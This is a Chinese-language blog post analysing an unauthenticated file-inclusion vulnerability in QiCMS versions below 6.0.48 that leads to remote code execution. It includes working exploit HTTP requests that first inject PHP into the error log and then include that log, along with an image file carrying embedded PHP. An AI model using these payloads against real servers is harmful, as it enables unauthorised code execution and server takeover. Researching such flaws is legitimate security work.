zoukankan      html  css  js  c++  java
  • 骑士cms < 6.0.48任意文件包含漏洞简记

    0x00 漏洞简介

    骑士CMS是一套基于PHP+MYSQL的免费网站管理系统。骑士CMS官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士CMS某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

    上引自阿里云发的安全公告,实际上这个漏洞底层是文件包含漏洞,所以自我理解定位成任意文件包含漏洞更为妥当。

    影响版本

    骑士CMS < 6.0.48

    漏洞等级:

    高危

    0x01 漏洞细节

    panda师傅发在先知的文章(https://xz.aliyun.com/t/8520)说的挺清晰的了,盗张图

    细节我就不一一细说,主要解答一下根据panda师傅文章遇到的几个问题点:(以下复现环境在windows+phpstudy php5.4.5环境下)

    1,是否一定需要注册一个账号才可以利用?

    2,是否一定要包含骑士模版文件的标签才能解析,为什么?

    答:

    不用,可以用日志文件进行包含,并且并不需要骑士模板文件标签。

    日志文件包含这个思路记得是在p神的代码审计圈子里看到其他师傅说的,当然骑士基于tp二开的cms,不难想到利用日志的方式进行包含。利用日志包含,好处是减少了注册登陆上传文件的步骤,减少限制条件(虽然作为人才系统,普通用户注册登陆是必然开放的),利于自动化脚本的编写。

    由于骑士cms默认不开debug,日志记录是error级别的,需要报错才能把信息记录到日志文件,而其实我们的漏洞点就是一个很出色的报错点,当模板文件不存在的时候会将模板路径写进日志。

    一开始的思路是直接把写到图片的东西写到日志里面去,但发现行不通

    利用的payload:

    <?php phpinfo(); ?>
    <qscms:company_show 列表名="info" 企业id="$_GET['id']"/  

    标签中的冒号会被转成/

    payload打出去包含之后没有返回,一开始以为是没有执行成功。

    后来通过跟踪发现,其实是包含成功了(漏洞首先是将我们传进去对应路径的文件进行了模版解析,之后保存到cache目录下的php文件,最后包含的是生成在cache目录下的php文件)

    代码都是写进去了的。

    但为什么包含之后没有输出呢?

    主要是因为ThinkPHP/Library/Think/View.class.php 进行了缓存导致没法输出

    所以我们在代码后面加一个die();就可以拿到输出了。

    测试之后也发现骑士cms的标签在不在与否都没有任何影响,代码里面也没有看到有明显限制需要有骑士cms标签的代码。

    所以最终的利用,直接用日志进行包含即可

    第一步发送日志:
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 192.168.0.9
    
    variable=1&tpl=<?php phpinfo();die();?>
    
    第二步包含日志:(路径也不需要绝对路径,相对路径足以)
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 192.168.0.9
    
    variable=1&tpl=./data/Runtime/Logs/Home/20_11_23.log
    

     

    题外话,上传jpg的话可能还需要个小脚本进行绕,但其实不需要这么麻烦,直接用bmp就可以了

    #define test_width 16
    #define test_height 7
    <?php phpinfo();die();?>
    static char test_bits[] = {
    0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
    0x00, 0x60 };
    

      

    0x02 总结

    很久不发blog了,除草记录文。

  • 相关阅读:
    C语言单链表创建,插入,删除
    Java乔晓松spring构造函数的注入以及null的注入
    sentilib_语料库项目_search模块的实现
    spring入门(6)set方法注入依赖之null的注入
    Java乔晓松使用Filter过滤器清除网页缓存
    漂亮的弹框
    C#判断各种字符串(如手机号)
    视频数字水印
    数据校验
    SVN 常见问题操作总结
  • 原文地址:https://www.cnblogs.com/r00tuser/p/14028067.html
Copyright © 2011-2022 走看看